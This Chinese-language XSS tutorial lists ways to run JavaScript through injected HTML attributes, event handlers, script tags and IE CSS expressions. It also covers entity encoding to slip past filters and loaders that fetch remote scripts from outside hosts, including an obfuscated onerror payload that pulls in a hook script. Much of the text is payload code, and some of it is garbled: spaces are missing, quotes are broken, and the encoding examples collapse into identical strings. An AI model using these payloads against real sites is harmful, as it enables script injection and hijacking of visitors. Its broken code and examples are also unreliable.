前端安全:know it then hack it
一、html可以執(zhí)行javascript的地方有哪些?
先舉個例子比如這個代碼
1<a href="$a">f4ck</a>
變量$a可控,怎么讓這個代碼彈框(執(zhí)行javascript代碼)呢?
(1)屬性值引入javascript:[code]偽協(xié)議,來執(zhí)行javascript代碼。也就是$a=javascript:alert(1)
只有引用文件的屬性才能觸發(fā)javascript腳本,這些標(biāo)簽有:
href
action
bgsound
background
value
dynsrc
lowsrc。
1<formaction="javascript:alert(1)">
2<input type="text"name="name"value="">
3<input type="submit"value="提交">
4</form>
5<img src="javascript:alert('1');"/>
由于這些屬性值不是通用屬性,所以會在不同的標(biāo)簽中,如果在火狐上測試不成功請在ie下測試,我用ie6測試是成功的。
(2)"閉合前一個屬性值,引入事件驅(qū)動屬性。事件驅(qū)動屬性的值是javascript代碼,所以可以執(zhí)行javascript。事件驅(qū)動屬性是標(biāo)簽的通用屬性,所以所有標(biāo)簽都可以用。也就是
1$a="onclick=alert(1)
2這樣的事件驅(qū)動屬性標(biāo)簽還有:
ondblclick
onmousedown
onmouseup
onmouseover
onmousemove
onmouseout
onmousepress
onmousedown
onmouseup
1<a href=""onclick=alert(1)>f4ck</a>
(3)閉合標(biāo)簽,引入<script></scirpt>標(biāo)簽來執(zhí)行javascript代碼。也就是:
1$a="><script>alert(1)</script>
(4)CSS可以通過expression屬性執(zhí)行javascript代碼
expression是ie獨(dú)有的css屬性,其目的是為了插入一段javascript代碼。
1<pstyle="xss:expression(alert(1))">
在ie6下執(zhí)行成功。
1@import"http://www.91ri.org/xss.css";
可以從外部導(dǎo)入存在xss代碼的css樣式。
如果css屬性可控,除了可以在expression后面添加javascript代碼執(zhí)行外,還可以像(2)(3)一樣通過閉合標(biāo)簽和屬性值來達(dá)到執(zhí)行javascript的目的。
烏云上的案例:http://www.wooyun.org/tags/css%E...5%AF%BC%E8%87%B4xss
綜上,可以在html里執(zhí)行javascript的地方有
1、利用javascript:在屬性值里2、事件驅(qū)動屬性3、<script></script>標(biāo)簽中(包括這種形式<scriptsrc="http://www.91ri.org/1.js"></script>)4、CSS中的expression屬性中(僅IE)。
二、為什么編碼后的代碼仍然可以執(zhí)行?
(1)上面的$a是沒被過濾的,但假如被過濾了怎么辦,假如只是黑名單過濾了javascript,或者只是對$a進(jìn)行了htmlspecialchars()轉(zhuǎn)換。執(zhí)行javascript的地方只進(jìn)行了html編碼。
<a href="$a">f4ck</a>
$a的值
1javascript:alert(1)
$a的值
1javascript:alert(1)
$a的值:
1javascript:alert(1)
以上為html的三種編碼。提交后,可以繞過黑名單javascript,進(jìn)行htmlspecialchars()編碼是不會發(fā)生任何變化的,那么,這段代碼為什么會執(zhí)行?
因?yàn)檫@個代碼,瀏覽器從頭解析當(dāng)解析到,$a的值時,正常將它解碼,就變成javascript:alert(1),然后這個代碼在href屬性中,所以就執(zhí)行了。
三、怎么遠(yuǎn)程加載外部js?
先來說說html標(biāo)記,html標(biāo)記其實(shí)可以分為兩種
1、文本用閉合標(biāo)簽。
例:<h1>f4ck</h1>
2、引用內(nèi)容用自閉合標(biāo)簽。
例:<img src="http://www.91ri.org/img/bdlogo.gif"/>
瀏覽器會在html頁面加載時,額外向服務(wù)器發(fā)送請求,注:這里是html標(biāo)簽的特性,不要和同源策略相混淆,同源策略是用來限制瀏覽器的。
加載進(jìn)來的js和本域是同源的。
哪些標(biāo)簽可以遠(yuǎn)程加載外部js,并執(zhí)行呢?
1、
1<scriptsrc="www.91ri.org/1.js"></script>
2、
1<iframesrc="www.91ri.org/1.js"></iframe>
3、
1<iframesrc=javascript:with(document)0[body.appendChild(document.createElement('script')).src="http://url.cn/1.js"]></iframe>
其實(shí)3就是dom的方法創(chuàng)建和插入節(jié)點(diǎn)。
1vars=document.createElement("script");
2s.src="http://www.91ri.org/xss.js";
3document.getElementsByTagName("head")[0].appendChild(s);
直接用3用于
viewsource
1<img src='#'onerror=“vara=document.getElementsByTagName('head').item(0);
2varb=document.createElement(String.fromCharCode(115,99,114,105,112,116));
3b.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);
4b.src=‘hook.js';
5a.appendChild(b);">